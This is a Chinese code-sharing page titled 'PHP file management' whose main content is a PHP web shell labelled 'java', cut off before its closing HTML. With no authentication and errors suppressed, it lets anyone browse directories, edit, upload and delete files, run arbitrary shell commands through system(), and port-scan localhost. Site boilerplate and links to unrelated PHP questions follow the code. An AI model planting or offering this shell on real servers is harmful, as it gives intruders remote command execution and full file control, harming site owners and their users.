php文件管理

2023-11-09

<html>

<head>

<title>

java

</title>

</head>

<body>

<style type="text/css">

body{

background: #E4E4E4;

color: #666666;

font-family: Lucida Sans Unicode,Microsoft YaHei;

font-size: 11px;

}

a:link{

color: #33CC99;

}

a:visited{

color: #33CC99;

}

a:hover{

text-decoration: none;

Color: #3399FF;

}

table {

font-size: 11px;

}

</style>

<?php

error_reporting (0);

set_time_limit (0);

if (empty ($_GET ['dir'])){

$dir = getcwd ();

}

else {

$dir = $_GET ['dir'];

}

chdir ($dir);

$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);



echo "<center><h2>java</h2></center><p><hr><p>\n";

echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";

echo "Current directory: " . getcwd () . "<br>\n";

echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";

echo "<pre>\n\n\n</pre>";



echo "<table width = 50%>";

echo "<tr>";

echo "<td><a href = '".$current."&mode=system'>Shell Command</a></td>\n";

echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";

echo "<td><a href = '".$current."&mode=upload'>Upload file</a></td>\n";

echo "<td><a href = '".$current."&mode=port_scan'>Port Scan</a></td>\n";

echo "</tr></table>";

echo "<pre>\n\n</pre>";







$mode = $_GET ['mode'];

switch ($mode){

case 'edit':

$file = $_GET ['file'];

$new = $_POST ['new'];

if (empty ($new)){

$fp = fopen ($file, "r");

$file_cont = fread ($fp, filesize ($file));

$file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);

echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";

echo "File: ". $file . "<br>\n";

echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."<textarea><br>\n";

echo "<input type = 'submit' value = 'Edit'></form>\n";

}

else {

$fp = fopen ($file, "w");

if (fwrite ($fp, $new)){

echo $file . " edited.<p>";

}

else {

echo "Unable to edit " . $file . ".<p>";

}

}

fclose ($fp);

break;

case 'delete':

$file = $_GET ['file'];

if (unlink ($file)){

echo $file . " deleted successfully.<p>";

}

else {

echo "Unable to delete " . $file . ".<p>";

}

break;

case 'copy':

$src = $_GET ['src'];

$dst = $_POST ['dst'];

if (empty ($dst)){

echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";

echo "Destination: <input name = 'dst'><br>\n";

echo "<input type = 'submit' value = 'Copy'></form>\n";

}

else {

if (copy ($src, $dst)){

echo "File copied successfully.<p>\n";

}

else {

echo "Unable to copy " . $src . ".<p>\n";

}

}

break;

case 'move':

$src = $_GET ['src'];

$dst = $_POST ['dst'];

if (empty ($dst)){

echo "<form action = '".$current . "&mode=move&src=" . $src . "' method = 'POST'>\n";

echo "Destination: <input name = 'dst'><br>\n";

echo "<input type = 'submit' value = 'Move'></form>\n";

}

else {

if (rename ($src, $dst)){

echo "File moved successfully.<p>\n";

}

else {

echo "Unable to move " . $src . ".<p>\n";

}

}

break;

case 'rename':

$old = $_GET ['old'];

$new = $_POST ['new'];

if (empty ($new)){

echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";

echo "New name: <input name = 'new'><br>\n";

echo "<input type = 'submit' value = 'Rename'></form>\n";

}

else {

if (rename ($old, $new)){

echo "File/Directory renamed successfully.<p>\n";

}

else {

echo "Unable to rename " . $old . ".<p>\n";

}

}

break;



case 'rmdir':

$rm = $_GET ['rm'];

if (rmdir ($rm)){

echo "Directory removed successfully.<p>\n";

}

else {

echo "Unable to remove " . $rm . ".<p>\n";

}

break;

case 'system':

$cmd = $_POST ['cmd'];

if (empty ($cmd)){

echo "<form action = '".$current . "&mode=system' method = 'POST'>\n";

echo "Shell Command: <input name = 'cmd'>\n";

echo "<input type = 'submit' value = 'Run'></form><p>\n";

}

else {

system ($cmd);

}

break;

case 'create':

$new = $_POST ['new'];

if (empty ($new)){

echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";

echo "<tr><td>New file: <input name = 'new'></td>\n";

echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";

}

else {

if ($fp = fopen ($new, "w")){

echo "File created successfully.<p>\n";

}

else {

echo "Unable to create ".$file.".<p>\n";

}

fclose ($fp);

}

break;

case 'upload':

$temp = $_FILES['upload_file']['tmp_name'];

$file = basename($_FILES['upload_file']['name']);

if (empty ($file)){

echo "<form action = '".$current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";

echo "Local file: <input type = 'file' name = 'upload_file'>\n";

echo "<input type = 'submit' value = 'Upload'>\n";

echo "</form>\n<pre>\n\n</pre>";

}

else {

if(move_uploaded_file($temp,$file)){

echo "File uploaded successfully.<p>\n";

unlink ($temp);

}

else {

echo "Unable to upload " . $file . ".<p>\n";

}

}

break;



case 'port_scan':

$port_range = $_POST ['port_range'];

if (empty ($port_range)){

echo "<table><form action = '".$current. "&mode=port_scan' method = 'POST'>";

echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";

echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";

echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";

}

else {

$range = explode (":", $port_range);

if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){

echo "Bad parameters.<br>";

}

else {

$host = 'localhost';

$from = $range [0];

$to = $range [1];

echo "Open ports:<br>";

while ($from <= $to){

$var = 0;

$fp = fsockopen ($host, $from) or $var = 1;

if ($var == 0){

echo $from . "<br>";

}

$from++;

fclose ($fp);

}

}

}

break;





}



clearstatcache ();



echo "<pre>\n\n</pre>";

echo "<table width = 100%&
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

php文件管理 的相关文章

  • 从支付网关重定向回时用户会话丢失

    我已将 Cyber source 配置为我的支付网关 我能够导航到 cybersource 并进行付款 并能够成功重定向回该网站 我也可以取消付款并重定向回我的网站 我收到来自支付网关的响应 但是 用户在从支付网关重定向回来时会被注销 我正
  • 保存多对多关系,同步/附加不存在?

    我有以下两个多对多关系的模型 use Illuminate Database Eloquent Model class Permission extends Model The database table used by the mode
  • 在服务器上找不到本地主机或 phpMyAdmin:如何修复?

    我按照安装说明进行操作PHP MySQL and PHPMyAdmin 但是当我尝试访问时http localhost phpmyadmin 我收到此错误 未找到 在此找不到请求的 URL phpmyadmin 服务器 然后我尝试访问loc
  • PHP 通过 SSL 连接到 MS SQL

    我想要实现的目标非常简单 我想通过安全连接从 PHP 脚本连接到外部 MS SQL 数据库 然而 这已被证明是有问题的 到目前为止 经过三个小时的研究 我不知所措 客户端的平台是Ubuntu 这意味着我无法使用SQLSRV 安全连接已经在不
  • 无法访问 localhost/xampp/index.php

    我刚刚安装了 Windows 7 的 XAMPP 控制面板似乎工作正常 我启动了 MySql 和 Apache 我遇到的问题是 当我在浏览器 Google Chrome 中输入 localhost 时 它会将我发送到 http localh
  • 您的要求无法解析为 laravel 的一组可安装软件包

    我使用 5 7v Laravel 和 7 2 1v PHP 和 Composer 最新版本 但是当我想创建新项目时出现这些错误 Your requirements could not be resolved to an installabl
  • 如何从网站网址中隐藏 .html 扩展名

    我知道这个问题以前曾被问过 但有人知道隐藏 html 扩展名的好方法吗 我已经尝试了许多代码和许多答案https stackoverflow com https stackoverflow com 但我没有看到结果 那是我再问你一次 我有一
  • 使用 PHP/linux 将文件合并为单个 PDF

    我正在研究如何将多个 PDF 合并为一个 PDF 我正在寻找一个图书馆可靠且坚固尽可能 最好有一个库可以保留书签 鬼脚本 http pages cs wisc edu ghost 可以在保存书签的位置进行连接 但我遇到了麻烦 在一种情况下它
  • 分页显示所有其他页面上第 1 页的相同帖子

    我最近在创建即将发生的事件列表时得到了很多帮助 请参阅此处显示即将举行的活动 包括今天的活动 https stackoverflow com questions 17343615 showing upcoming events includ
  • 在哪里可以获得 PHP 5.3+ 的 runkit DLL 扩展?

    这是一个简单的问题 我在哪里可以获得 PHP 5 3 版本的 runkit 扩展 它的手册 http php net manual en book runkit php http php net manual en book runkit
  • 是否可以用 PHP 编写电子邮件解析器? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 在 PHP 字符串中格式化 MySQL 代码

    是否有任何程序 IDE 可以在 PHP 字符串中格式化 MySQL 代码 例如 我使用 PHPStorm IDE 但它无法做到这一点 它对 PHP 和 MYSQL 执行此操作 但不适用于 php 字符串内的 MYSQL 我已准备好使用新的
  • Facebook API sdk 4.0 - 将照片发布到 Facebook

    我正在尝试创建一个应用程序 用户可以在其中浏览照片并将其从计算机提交到 Facebook 为此 他们首先必须将照片上传到服务器 然后使用 Facebook 请求将此图像发布到 Facebook 我正在使用多部分 表单数据 这就是我到目前为止
  • 如何使用更新资源控制器 laravel 4?

    我有带有索引 编辑 更新方法的客户控制器 Route resource customer CustomerController 控制器方法更新 public function update id echo id 我的 HTML 表单
  • CodeIgniter:My_Lang 中的 get_instance

    我发现这个有用的国际化代码 http pastebin com SyKmPYTX http pastebin com SyKmPYTX 一切正常 除了我无法在此类中使用 CI 函数 我想从 DB 设置 languages 和 special
  • Jquery一键提交多个同名表单

    我有动态创建的循环表单 我需要一键提交所有表单 我正在遵循下面的代码 你能建议我怎么做吗 谢谢
  • 在本地 SDK 服务器上工作时,实时 Google App Engine 上出现 404

    我已经在GAE标准环境上部署了几个PHP应用程序 一切正常 现在我正在部署一个新应用程序 该应用程序位于由gcloudSDK按预期工作 终端命令 dev appserver py log level warning app yaml 问题是
  • Laravel 搜索关系

    我有两个相关的模型 我正在尝试在产品中进行搜索 并且仅显示实际搜索结果 而不是找到该产品的类别的所有产品 我不想搜索任何类别 因为无论搜索什么或找到什么 类别都会始终显示 Example I have the following categ
  • PayPal 网关已拒绝请求。安全标头无效(#10002:安全错误 Magento

    在 magento 中增加 PayPal 预付款 我已填写 magento admin 中的所有凭据 但是当我进入前端并单击 pay pal 按钮时 它给出了 PayPal 网关已拒绝请求 安全标头无效 10002 安全错误 我用谷歌搜索了
  • 通过 htaccess 将 PNG 解析为 PHP 仅适用于本地服务器,但不适用于网络服务器

    我用 PHP 创建了一个动态 PNG 图片 为了使用 PNG 扩展名 我创建了一个包含以下内容的 htaccess 文件 AddType application x httpd php png 在我的本地 XAMPP 服务器上 一切工作正常

随机推荐